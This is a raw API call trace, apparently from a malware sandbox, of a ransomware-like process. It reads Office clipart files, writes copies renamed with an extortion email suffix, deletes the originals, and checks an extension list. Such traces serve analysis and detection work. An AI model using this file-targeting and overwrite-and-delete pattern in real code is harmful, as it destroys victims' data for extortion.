	[0086.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.056] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6938) returned 1
	[0086.056] CloseHandle (hObject=0x38c) returned 1
	[0086.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220
	[0086.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.056] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.056] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.057] GetLastError () returned 0x0
	[0086.057] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1b1a, lpOverlapped=0x0) returned 1
	[0086.058] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0086.059] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.059] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.059] SetEndOfFile (hFile=0x390) returned 1
	[0086.060] CloseHandle (hObject=0x390) returned 1
	[0086.060] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.060] SetEndOfFile (hFile=0x38c) returned 1
	[0086.061] CloseHandle (hObject=0x38c) returned 1
	[0086.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1
	[0086.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.061] lstrlenW (lpString=".doc") returned 4
	[0086.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.061] lstrlenW (lpString=".docx") returned 5
	[0086.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.061] lstrlenW (lpString=".pdf") returned 4
	[0086.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.061] lstrlenW (lpString=".xls") returned 4
	[0086.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.061] lstrlenW (lpString=".xlsx") returned 5
	[0086.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.061] lstrlenW (lpString=".ppt") returned 4
	[0086.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.062] lstrlenW (lpString=".zip") returned 4
	[0086.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.062] lstrlenW (lpString=".rar") returned 4
	[0086.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString=".bz2") returned 4
	[0086.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString=".7z") returned 3
	[0086.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.062] lstrlenW (lpString=".dbf") returned 4
	[0086.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.062] lstrlenW (lpString=".1cd") returned 4
	[0086.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.062] lstrlenW (lpString=".jpg") returned 4
	[0086.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.062] lstrlenW (lpString=".doc") returned 4
	[0086.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString=".docx") returned 5
	[0086.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.062] lstrlenW (lpString=".pdf") returned 4
	[0086.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.062] lstrlenW (lpString=".xls") returned 4
	[0086.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.062] lstrlenW (lpString=".xlsx") returned 5
	[0086.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.062] lstrlenW (lpString=".ppt") returned 4
	[0086.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.063] lstrlenW (lpString=".zip") returned 4
	[0086.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.063] lstrlenW (lpString=".rar") returned 4
	[0086.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.063] lstrlenW (lpString=".bz2") returned 4
	[0086.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.063] lstrlenW (lpString=".7z") returned 3
	[0086.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.063] lstrlenW (lpString=".dbf") returned 4
	[0086.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.063] lstrlenW (lpString=".1cd") returned 4
	[0086.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.063] lstrlenW (lpString=".jpg") returned 4
	[0086.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.063] lstrlenW (lpString="EN00222_.WMF") returned 12
	[0086.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.064] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=12356) returned 1
	[0086.064] CloseHandle (hObject=0x38c) returned 1
	[0086.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220
	[0086.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.064] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.064] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.064] GetLastError () returned 0x0
	[0086.064] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x3044, lpOverlapped=0x0) returned 1
	[0086.066] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x3050, lpOverlapped=0x0) returned 1
	[0086.067] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.067] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.067] SetEndOfFile (hFile=0x390) returned 1
	[0086.067] CloseHandle (hObject=0x390) returned 1
	[0086.067] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.067] SetEndOfFile (hFile=0x38c) returned 1
	[0086.068] CloseHandle (hObject=0x38c) returned 1
	[0086.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1
	[0086.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.069] lstrlenW (lpString=".doc") returned 4
	[0086.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.069] lstrlenW (lpString=".docx") returned 5
	[0086.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.069] lstrlenW (lpString=".pdf") returned 4
	[0086.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.069] lstrlenW (lpString=".xls") returned 4
	[0086.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.069] lstrlenW (lpString=".xlsx") returned 5
	[0086.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.069] lstrlenW (lpString=".ppt") returned 4
	[0086.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.069] lstrlenW (lpString=".zip") returned 4
	[0086.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.069] lstrlenW (lpString=".rar") returned 4
	[0086.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.069] lstrlenW (lpString=".bz2") returned 4
	[0086.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString=".7z") returned 3
	[0086.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.070] lstrlenW (lpString=".dbf") returned 4
	[0086.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.070] lstrlenW (lpString=".1cd") returned 4
	[0086.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.070] lstrlenW (lpString=".jpg") returned 4
	[0086.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.070] lstrlenW (lpString=".doc") returned 4
	[0086.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString=".docx") returned 5
	[0086.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.070] lstrlenW (lpString=".pdf") returned 4
	[0086.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString=".xls") returned 4
	[0086.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.070] lstrlenW (lpString=".xlsx") returned 5
	[0086.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.070] lstrlenW (lpString=".ppt") returned 4
	[0086.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.070] lstrlenW (lpString=".zip") returned 4
	[0086.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.070] lstrlenW (lpString=".rar") returned 4
	[0086.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.070] lstrlenW (lpString=".bz2") returned 4
	[0086.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.071] lstrlenW (lpString=".7z") returned 3
	[0086.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.071] lstrlenW (lpString=".dbf") returned 4
	[0086.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.071] lstrlenW (lpString=".1cd") returned 4
	[0086.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.071] lstrlenW (lpString=".jpg") returned 4
	[0086.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.071] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.071] lstrlenW (lpString="EN00242_.WMF") returned 12
	[0086.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.071] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6780) returned 1
	[0086.071] CloseHandle (hObject=0x38c) returned 1
	[0086.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220
	[0086.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.072] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.072] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.072] GetLastError () returned 0x0
	[0086.072] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1a7c, lpOverlapped=0x0) returned 1
	[0086.074] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1a80, lpOverlapped=0x0) returned 1
	[0086.075] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.075] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.075] SetEndOfFile (hFile=0x390) returned 1
	[0086.075] CloseHandle (hObject=0x390) returned 1
	[0086.075] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.075] SetEndOfFile (hFile=0x38c) returned 1
	[0086.076] CloseHandle (hObject=0x38c) returned 1
	[0086.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.076] lstrlenW (lpString=".doc") returned 4
	[0086.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString=".docx") returned 5
	[0086.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.077] lstrlenW (lpString=".pdf") returned 4
	[0086.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString=".xls") returned 4
	[0086.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.077] lstrlenW (lpString=".xlsx") returned 5
	[0086.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.077] lstrlenW (lpString=".ppt") returned 4
	[0086.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.077] lstrlenW (lpString=".zip") returned 4
	[0086.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.077] lstrlenW (lpString=".rar") returned 4
	[0086.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString=".bz2") returned 4
	[0086.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString=".7z") returned 3
	[0086.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.077] lstrlenW (lpString=".dbf") returned 4
	[0086.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.077] lstrlenW (lpString=".1cd") returned 4
	[0086.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.077] lstrlenW (lpString=".jpg") returned 4
	[0086.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.077] lstrlenW (lpString=".doc") returned 4
	[0086.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString=".docx") returned 5
	[0086.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.078] lstrlenW (lpString=".pdf") returned 4
	[0086.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString=".xls") returned 4
	[0086.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.078] lstrlenW (lpString=".xlsx") returned 5
	[0086.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.078] lstrlenW (lpString=".ppt") returned 4
	[0086.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.078] lstrlenW (lpString=".zip") returned 4
	[0086.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.078] lstrlenW (lpString=".rar") returned 4
	[0086.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString=".bz2") returned 4
	[0086.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString=".7z") returned 3
	[0086.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.078] lstrlenW (lpString=".dbf") returned 4
	[0086.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.078] lstrlenW (lpString=".1cd") returned 4
	[0086.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.078] lstrlenW (lpString=".jpg") returned 4
	[0086.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.078] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.079] lstrlenW (lpString="EN00319_.WMF") returned 12
